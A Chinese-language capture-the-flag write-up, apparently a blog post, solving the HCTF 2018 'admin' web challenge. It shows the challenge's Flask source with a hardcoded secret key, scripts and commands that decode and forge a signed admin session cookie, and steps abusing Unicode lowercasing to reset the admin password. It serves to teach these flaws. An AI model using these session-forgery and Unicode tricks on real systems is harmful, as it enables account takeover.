• BUUCTF | [HCTF 2018]admin


    首先爬一遍整个网站,发现有没注册的时候有“login”,"register",这两个页面,注册一个123用户登录后发现有 "index“,”post“,”logout“,”change password“这四个界面,根据题目提示的admin,猜测是不是要让我用admin来登录这个网站?然后我在login界面输入用户名”admin“,密码”123“(弱口令)结果猝不及防

      喵喵喵???还没开始就结束了?


    正确的打开方式:总的来说就是欺骗服务器,假装自己是admin

    buu限制发包量, 这里我就不尝试解法3了

    解法一:flask session伪造

     在"change password"页面发现了提示

     

    https://github.com/woadsl1234/hctf_flask/blob/master/app/routes.py
    
    #!/usr/bin/env python
    # -*- coding:utf-8 -*-
    
    from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
    from flask_login import logout_user, LoginManager, current_user, login_user
    from app import app, db
    from config import Config
    from app.models import User
    from forms import RegisterForm, LoginForm, NewpasswordForm
    from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
    from io import BytesIO
    from code import get_verify_code
    
    @app.route('/code')
    def get_code():
        image, code = get_verify_code()
        # 图片以二进制形式写入
        buf = BytesIO()
        image.save(buf, 'jpeg')
        buf_str = buf.getvalue()
        # 把buf_str作为response返回前端,并设置首部字段
        response = make_response(buf_str)
        response.headers['Content-Type'] = 'image/gif'
        # 将验证码字符串储存在session中
        session['image'] = code
        return response
    
    @app.route('/')
    @app.route('/index')
    def index():
        return render_template('index.html', title = 'hctf')
    
    @app.route('/register', methods = ['GET', 'POST'])
    def register():
    
        if current_user.is_authenticated:
            return redirect(url_for('index'))
    
        form = RegisterForm()
        if request.method == 'POST':
            name = strlower(form.username.data)
            if session.get('image').lower() != form.verify_code.data.lower():
                flash('Wrong verify code.')
                return render_template('register.html', title = 'register', form=form)
            if User.query.filter_by(username = name).first():
                flash('The username has been registered')
                return redirect(url_for('register'))
            user = User(username=name)
            user.set_password(form.password.data)
            db.session.add(user)
            db.session.commit()
            flash('register successful')
            return redirect(url_for('login'))
        return render_template('register.html', title = 'register', form = form)
    
    @app.route('/login', methods = ['GET', 'POST'])
    def login():
        if current_user.is_authenticated:
            return redirect(url_for('index'))
    
        form = LoginForm()
        if request.method == 'POST':
            name = strlower(form.username.data)
            session['name'] = name
            user = User.query.filter_by(username=name).first()
            if user is None or not user.check_password(form.password.data):
                flash('Invalid username or password')
                return redirect(url_for('login'))
            login_user(user, remember=form.remember_me.data)
            return redirect(url_for('index'))
        return render_template('login.html', title = 'login', form = form)
    
    @app.route('/logout')
    def logout():
        logout_user()
        return redirect('/index')
    
    @app.route('/change', methods = ['GET', 'POST'])
    def change():
        if not current_user.is_authenticated:
            return redirect(url_for('login'))
        form = NewpasswordForm()
        if request.method == 'POST':
            name = strlower(session['name'])
            user = User.query.filter_by(username=name).first()
            user.set_password(form.newpassword.data)
            db.session.commit()
            flash('change successful')
            return redirect(url_for('index'))
        return render_template('change.html', title = 'change', form = form)
    
    @app.route('/edit', methods = ['GET', 'POST'])
    def edit():
        if request.method == 'POST':
            
            flash('post successful')
            return redirect(url_for('index'))
        return render_template('edit.html', title = 'edit')
    
    @app.errorhandler(404)
    def page_not_found(error):
        title = unicode(error)
        message = error.description
        return render_template('errors.html', title=title, message=message)
    
    def strlower(username):
        username = nodeprep.prepare(username)
    return username
    
     由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。假设现在我们有一串 session 值为: eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY ,那么我们可以通过如下代码对其进行解密:
    from itsdangerous import *
    s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
    data,timestamp,secret = s.split('.')
    int.from_bytes(base64_decode(timestamp),byteorder='big')
    
    from itsdangerous import *
    s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
    data,timestamp,secret = s.split('.')
    print("data=",data," ; timestamp = ",timestamp," ; secret = ",secret)
    print(base64_decode(data))
    print(base64_decode(timestamp))
    print(int.from_bytes(base64_decode(timestamp),byteorder='big'))
    print(int.from_bytes(base64_decode(secret),byteorder='big'))
    稍微改动后的代码py3

    int.from_bytes函数
        功能:res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。其中bytes类型是python3特有的类型。
        函数参数:int.from_bytes(bytes, byteorder, *, signed=False)。在IDLE或者命令行界面中使用help(int.from_bytes)命令可以查看具体介绍。
                bytes是输入的变量;        base64_decode(timestamp)=b'\
    xdaxe0'
                signed=True表示需要考虑符号位。
        举例说明:int_s  = int.from_bytes(s, byteorder='little', signed=True),其中s='xf1xff',则输出int_s=-15。
                分析一下过程,'x'表示十六进制数,先把'f1'写成二进制数:1111 0001,'ff'同上:1111 1111.     #小端法
                由于s的高低位标志是'little',即'f1'是低位,'ff'是高位,所以正确的顺序应该是'fff1',即11111111 1111 0001.
                又因为要考虑符号位,第一位是1,所以s是负数,要进行取反加一才是正确的十进制数(第一位符号位的1不变),可以得到10000000 00001111,写成十进制,就是-15,也就是int_s的结果。  
                上面的例子中,如果signed=False,则无符号位;
                若byteorder='big',则输入s的左边是高位,右边是低位。     #大端法
    代码解析
    #!/usr/bin/env python3
    import sys
    import zlib
    from base64 import b64decode
    from flask.sessions import session_json_serializer
    from itsdangerous import base64_decode
    
    def decryption(payload):
        payload, sig = payload.rsplit(b'.', 1)
        payload, timestamp = payload.rsplit(b'.', 1)
    
        decompress = False
        if payload.startswith(b'.'):
            payload = payload[1:]
            decompress = True
    
        try:
            payload = base64_decode(payload)
        except Exception as e:
            raise Exception('Could not base64 decode the payload because of an exception')
    
        if decompress:
            try:
                payload = zlib.decompress(payload)
            except Exception as e:
                raise Exception('Could not zlib decompress the payload before decoding the payload')
    
        return session_json_serializer.loads(payload)
    
    if __name__ == '__main__':
        print(decryption(sys.argv[1].encode()))
    sessino解密脚本

     这里我用的是python2的环境,kali自带的py2貌似默认安装了flask ,而自己安装py3的flask一直装不上Orz

     python hctf_admin.py ..eJw9kEGLwjAUhP_KkrOHtrYXwYNSWxTeCy6p5eUirtamL8aFqrRG_O8bPOxtYJiPmXmJ_blvbkbM7v2jmYh9dxKzl_j6ETMhFQzIq0EqNMSF1XVhZPnN6DRL1abgFxmqpSWHHeTagKcpJdtI54sR6ipGt3PEFKGqYlLViLyx4KtUl4UFbp-oLjbkL5rbOOgOPaRQQ6yZEuLjE_2SoVwnWK8jcsHj1QgJjORNJ_PVFFxxQbdxMl_MxXsijrf-vL__2ub6P4H8NtM1TWVOqVQ7AwkNqLTFEjlUiKCEAbjyYZ5BDtVryLCdf3DXg2sC4nBy3VVMxOPW9J93RByJ9x_TGWWP.EJH3jQ.JhGCr-bcz5dzA0veCwseiH0eqyc
    

    https://github.com/woadsl1234/hctf_flask/blob/master/app/config.pyi
    mport os
    
    class Config(object):
        SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
        SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True
    SECRET_KEY

    session加密用的是GitHub上的一个脚本,我按照官方给的方法装不上Orz,然后自己git clone了一下,git clone大法好啊

    python2 ./flask_session_cookie_manager2.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4', 'csrf_token': b'd2495789467d55d9e38c2ffd63e9c578ee1b267a', 'image': b'BUXE', 'name': 'admin', 'user_id': '10'}"

    https://github.com/woadsl1234/hctf_flask/blob/master/app/templates/index.html
    {% include('header.html') %}
    {% if current_user.is_authenticated %}
    <h1 class="nav">Hello {{ session['name'] }}</h1>
    {% endif %}
    {% if current_user.is_authenticated and session['name'] == 'admin' %}
    <h1 class="nav">hctf{xxxxxxxxx}</h1>
    {% endif %}
    <!-- you are not admin -->
    <h1 class="nav">Welcome to hctf</h1>
    
    {% include('footer.html') %}
    index.html

    解法二:Unicode欺骗

    https://unicode-table.com/en/1D2E/ ,在这个网站上找字符。

    1.先注册一个账号 :ᴬᴰᴹᴵᴺ,密码:456

    2.修改密码:111,然后退出

    3.用账号”admin“,密码:111成功登录

      大致的思路是:在注册的时候  ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“(没啥卵用,但是你已经知道了一个密码已知的”admin“,而且在index.html中可以看到只要session['name']=='admin',也就是只要用户名是’admin‘就可成功登录了)


     参考资料:

    HCTF2018-admin三种解法复现:https://blog.csdn.net/weixin_44677409/article/details/100733581

    Python Web之flask session&格式化字符串漏洞:https://xz.aliyun.com/t/3569#toc-0

    unicode 欺骗:https://panda1g1.github.io/2018/11/15/HCTF%20admin/

  • 相关阅读:
    Spring缓存注解@Cacheable、@CacheEvict、@CachePut使用
    分布式架构2:Nginx下Session存储
    分布式架构3:MySQL集群(Mysql Cluster7.5.5)
    分布式架构1:Nginx实现负载均衡
    Oracle 触发器记录
    [Deprecation Notice] 本博客弃用, 迁移至新博客
    KM算法 O(n^3)最大权完美匹配
    Python 学习笔记(附 Pytorch)
    你一定看的懂的:vlan与交换机端口的三种模式access,trunk和hybrid
    Git代码回滚
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/11722351.html
Copyright © 2020-2023  润新知